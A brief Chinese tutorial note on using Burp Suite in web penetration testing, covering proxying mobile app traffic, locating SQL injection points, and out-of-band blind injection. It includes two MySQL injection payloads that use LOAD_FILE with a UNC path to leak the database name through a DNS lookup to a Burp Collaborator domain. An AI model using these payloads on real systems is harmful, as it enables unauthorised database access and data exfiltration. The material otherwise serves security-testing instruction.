web渗透—工具burpsuit的使用

1、更改代理地址后，可以利用此工具来审计手机上的APP，功能强大！

缺点：手机会卡



2、SQL注入时，，启用burpsuit代理，会监控网站访问的数据流量，从而可以找到注入点进行注入测试。



3、通过域名-IP，可以代外，方便盲注
代外一句话：
and select load_file(concat('\\\\',(select DATABASE()),'.mxnqgnvk47oqqfmd80dfq9gdq4wukj.burpcollaborator.net\\ryre'))##

其中，mxnqgnvk47oqqfmd80dfq9gdq4wukj.burpcollaborator.net为burp代理的二级域名，
ryre是任意文件夹目录



也可以加上if语句…

and if(select LOAD_FILE(CONCAT('\\\\',(select DATABASE()),'.bgv32oe3b2fov55nvyfg56l0sryhm6.burpcollaborator.net\\ryre')),1,1)##